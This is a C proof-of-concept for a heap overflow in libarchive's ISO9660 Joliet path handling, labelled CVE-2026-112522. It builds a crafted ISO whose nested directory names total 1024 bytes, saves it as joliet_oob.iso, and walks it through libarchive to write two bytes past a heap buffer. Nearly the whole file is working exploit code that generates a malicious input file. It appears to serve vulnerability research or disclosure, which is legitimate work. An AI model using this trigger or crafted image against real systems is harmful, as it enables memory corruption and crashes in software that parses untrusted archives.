// arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522 // ISO9660 Joliet path name heap overflow // C twin of the Swift POC: builds the 1024-byte-chain Joliet ISO and walks it through // libarchive (dlopen /usr/lib/libarchive.2.dylib). The deepest unwind writes 2 bytes // past a malloc(1024) heap buffer. // Variants arc.iso.stress (repeat walk) and arc.cab (LZX early match) are noted in the // Swift POC and the folder's python builder. // Build: clang -O2 -o cve-2026-112522 CVE-2026-112522.c // Run: ./cve-2026-112522 [iterations] #include #include #include #include #define SECTOR 2048 // ── byte helpers ── static void both32(uint8_t *p, uint32_t v) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff; p[4] = v >> 24; p[5] = (v >> 16) & 0xff; p[6] = (v >> 8) & 0xff; p[7] = v & 0xff; } static void both16(uint8_t *p, uint16_t v) { p[0] = v & 0xff; p[1] = v >> 8; p[2] = v >> 8; p[3] = v & 0xff; } static void le32(uint8_t *p, uint32_t v) { p[0] = v; p[1] = v >> 8; p[2] = v >> 16; p[3] = v >> 24; } static void le16(uint8_t *p, uint16_t v) { p[0] = v; p[1] = v >> 8; } // UTF-16BE encoding of an ASCII string static size_t ucs2(const char *s, uint8_t *out) { size_t n = strlen(s); for (size_t i = 0; i < n; i++) { out[i * 2] = 0; out[i * 2 + 1] = (uint8_t)s[i]; } return n * 2; } // ── ISO9660 directory record (from CVE-2026-112522.py: dir_record) ── // name_len may exceed the name buffer; the record is capped at 255 bytes total static size_t dir_record(uint8_t *rec, const uint8_t *name, size_t name_len, uint32_t extent, uint32_t size, uint8_t flags) { uint8_t *p = rec; *p++ = 0; // length, patched below *p++ = 0; // extended attribute length both32(p, extent); p += 8; both32(p, size); p += 8; *p++ = 126; *p++ = 10; *p++ = 28; *p++ = 12; // recording date 2026-10-28 12:00 *p++ = 0; *p++ = 0; *p++ = 0; *p++ = flags; *p++ = 0; *p++ = 0; // file unit / interleave both16(p, 1); p += 4; // volume sequence *p++ = 0; // file identifier length, patched below size_t name_taken = name_len; size_t fixed = (size_t)(p - rec); // name starts at offset 33 if (fixed + name_taken > 255) name_taken = 255 - fixed; // record cap memcpy(p, name, name_taken); p += name_taken; size_t used = (size_t)(p - rec); if (used % 2) { *p++ = 0; used++; } rec[0] = (uint8_t)used; // record length rec[32] = (uint8_t)name_taken; // file identifier length return used; } // ── seed construction (from CVE-2026-112522.py: build_joliet_iso) ── // Chain root -> A(103) -> B(103) -> C(103) -> D(103) -> E(96) -> file F. // Joliet path accumulates 4*206 + 192 + 4*2 = 1024 bytes exactly, so the deepest // separator write lands at p[1024]/p[1025], two bytes past malloc(1024). static uint8_t *build_joliet_iso(size_t *out_n) { char names[5][104]; for (int i = 0; i < 4; i++) { memset(names[i], 'A' + i, 103); names[i][103] = 0; } memset(names[4], 'E', 96); names[4][96] = 0; const int LBA_PVD = 16, LBA_SVD = 17, LBA_TERM = 18, LBA_PT_ASCII = 19, LBA_PT_JOLIET = 20; const int LBA_ROOT = 21, first_dir = 22, LBA_FILE = 27; const int total_sectors = 28; uint8_t *img = calloc((size_t)total_sectors * SECTOR, 1); // ---- path tables (type L) uint8_t pt_ascii[SECTOR], pt_joliet[SECTOR]; size_t pt_ascii_n = 0, pt_joliet_n = 0; for (int i = -1; i < 5; i++) { const char *name = i < 0 ? "" : names[i]; uint16_t parent = i < 0 ? 1 : (uint16_t)(i + 2); uint32_t extent = i < 0 ? (uint32_t)LBA_ROOT : (uint32_t)(first_dir + i); uint8_t nb[208]; size_t nb_n; if (i < 0) { nb[0] = 0; nb_n = 1; } else nb_n = strlen(name); // ASCII table: raw bytes memcpy(nb, name, nb_n); uint8_t *rec = pt_ascii + pt_ascii_n; *rec++ = (uint8_t)nb_n; *rec++ = 0; le32(rec, extent); rec += 4; le16(rec, parent); rec += 2; memcpy(rec, nb, nb_n); rec += nb_n; if ((size_t)(rec - (pt_ascii + pt_ascii_n)) % 2) *rec++ = 0; pt_ascii_n = (size_t)(rec - pt_ascii); // Joliet table: UTF-16BE names uint8_t jnb[208]; size_t jnb_n; if (i < 0) { jnb[0] = 0; jnb_n = 1; } else jnb_n = ucs2(name, jnb); rec = pt_joliet + pt_joliet_n; *rec++ = (uint8_t)jnb_n; *rec++ = 0; le32(rec, extent); rec += 4; le16(rec, parent); rec += 2; memcpy(rec, jnb, jnb_n); rec += jnb_n; if ((size_t)(rec - (pt_joliet + pt_joliet_n)) % 2) *rec++ = 0; pt_joliet_n = (size_t)(rec - pt_joliet); } memcpy(img + LBA_PT_ASCII * SECTOR, pt_ascii, pt_ascii_n); memcpy(img + LBA_PT_JOLIET * SECTOR, pt_joliet, pt_joliet_n); // ---- directories uint8_t dirbuf[SECTOR]; uint8_t cname[208]; // root contains A { memset(dirbuf, 0, SECTOR); size_t off = 0; off += dir_record(dirbuf + off, (uint8_t[]){0x00}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02); off += dir_record(dirbuf + off, (uint8_t[]){0x01}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02); size_t cn = ucs2(names[0], cname); off += dir_record(dirbuf + off, cname, cn, (uint32_t)first_dir, SECTOR, 0x02); memcpy(img + LBA_ROOT * SECTOR, dirbuf, SECTOR); } for (int i = 0; i < 5; i++) { int lba = first_dir + i; int parent = i == 0 ? LBA_ROOT : first_dir + i - 1; memset(dirbuf, 0, SECTOR); size_t off = 0; off += dir_record(dirbuf + off, (uint8_t[]){0x00}, 1, (uint32_t)lba, SECTOR, 0x02); off += dir_record(dirbuf + off, (uint8_t[]){0x01}, 1, (uint32_t)parent, SECTOR, 0x02); size_t cn; if (i + 1 < 5) { cn = ucs2(names[i + 1], cname); off += dir_record(dirbuf + off, cname, cn, (uint32_t)(first_dir + i + 1), SECTOR, 0x02); } else { cn = ucs2("F", cname); off += dir_record(dirbuf + off, cname, cn, (uint32_t)LBA_FILE, 0, 0x00); } memcpy(img + (size_t)lba * SECTOR, dirbuf, SECTOR); } // LBA_FILE: empty sector // ---- volume descriptors for (int joliet = 0; joliet < 2; joliet++) { uint8_t *d = img + (joliet ? LBA_SVD : LBA_PVD) * SECTOR; int lba = joliet ? LBA_SVD : LBA_PVD; (void)lba; d[0] = joliet ? 2 : 1; memcpy(d + 1, "CD001", 5); d[6] = 1; if (joliet) { uint8_t sid[32]; ucs2("CINDER27 ", sid); // 16 UTF-16 units memcpy(d + 8, sid, 32); uint8_t vid[32]; ucs2("JOLIET-OOB ", vid); memcpy(d + 40, vid, 32); } else { memcpy(d + 8, "CINDER27 ", 32); memcpy(d + 40, "JOLIET-OOB ", 32); } both32(d + 80, (uint32_t)total_sectors); both16(d + 120, 1); // volume set size both16(d + 124, 1); // volume sequence number both16(d + 128, (uint16_t)SECTOR); // logical block size both32(d + 132, (uint32_t)(joliet ? pt_joliet_n : pt_ascii_n)); le32(d + 140, (uint32_t)(joliet ? LBA_PT_JOLIET : LBA_PT_ASCII)); le32(d + 144, 0); d[148] = 0; d[149] = 0; d[150] = 0; d[151] = 0; // type-M unused d[152] = 0; d[153] = 0; d[154] = 0; d[155] = 0; uint8_t rootrec[40]; size_t rootrec_n = dir_record(rootrec, (uint8_t[]){0x00}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02); memcpy(d + 156, rootrec, rootrec_n); d[881] = 1; // file structure version if (joliet) memcpy(d + 88, "%/E", 3); // escape sequence } // terminator uint8_t *term = img + LBA_TERM * SECTOR; term[0] = 255; memcpy(term + 1, "CD001", 5); term[6] = 1; *out_n = (size_t)total_sectors * SECTOR; return img; } // ── trigger: walk the archive through libarchive ── typedef struct archive archive_t; typedef struct archive_entry archive_entry_t; static archive_t *(*arc_new)(void); static int (*arc_filter_all)(archive_t *); static int (*arc_format_all)(archive_t *); static int (*arc_open_memory)(archive_t *, const void *, size_t); static int (*arc_next_header)(archive_t *, archive_entry_t **); static const char *(*arc_entry_pathname)(archive_entry_t *); static int64_t (*arc_entry_size)(archive_entry_t *); static const char *(*arc_error_string)(archive_t *); static int (*arc_free)(archive_t *); static int walk(const uint8_t *img, size_t n, int iteration, size_t *max_path) { archive_t *a = arc_new(); if (!a) { printf(" archive_read_new failed\n"); return -1; } arc_filter_all(a); arc_format_all(a); if (arc_open_memory(a, img, n) != 0) { printf(" open_memory rc != 0: %s\n", arc_error_string(a) ? arc_error_string(a) : "?"); arc_free(a); return -1; } int entries = 0; while (1) { archive_entry_t *e = NULL; int r = arc_next_header(a, &e); if (r != 0) { if (r < 0) printf(" next_header error: %s\n", arc_error_string(a) ? arc_error_string(a) : "?"); break; } const char *p = arc_entry_pathname(e); size_t plen = p ? strlen(p) : 0; if (plen > *max_path) *max_path = plen; if (entries < 8) printf(" entry %2d: %s (%lld B)\n", entries, p ? p : "", (long long)arc_entry_size(e)); entries++; if (entries > 64) break; } printf(" pass %d: %d entries, max pathname %zu B\n", iteration, entries, *max_path); arc_free(a); return entries; } int main(int argc, char **argv) { int iterations = argc > 1 ? atoi(argv[1]) : 1; size_t n = 0; uint8_t *img = build_joliet_iso(&n); FILE *f = fopen("joliet_oob.iso", "wb"); if (f) { fwrite(img, 1, n, f); fclose(f); } void *h = dlopen("/usr/lib/libarchive.2.dylib", RTLD_NOW); if (!h) { printf("dlopen libarchive failed: %s\n", dlerror()); return 1; } arc_new = dlsym(h, "archive_read_new"); arc_filter_all = dlsym(h, "archive_read_support_filter_all"); arc_format_all = dlsym(h, "archive_read_support_format_all"); arc_open_memory = dlsym(h, "archive_read_open_memory"); arc_next_header = dlsym(h, "archive_read_next_header"); arc_entry_pathname = dlsym(h, "archive_entry_pathname"); arc_entry_size = dlsym(h, "archive_entry_size"); arc_error_string = dlsym(h, "archive_error_string"); arc_free = dlsym(h, "archive_read_free"); if (!arc_new || !arc_open_memory || !arc_next_header || !arc_free) { printf("libarchive symbols missing\n"); return 1; } size_t max_path = 0; for (int i = 0; i < iterations; i++) { walk(img, n, i + 1, &max_path); } printf("CVE-2026-112522 · Joliet chain 4*206 + 192 + 4*2 = 1024 B, max pathname %zu B\n", max_path); printf("the deepest separator write lands at p[1024]/p[1025], 2 bytes past malloc(1024)\n"); printf("seed: joliet_oob.iso (%zu B) · survived %d walk(s)\n", n, iterations); free(img); return 0; }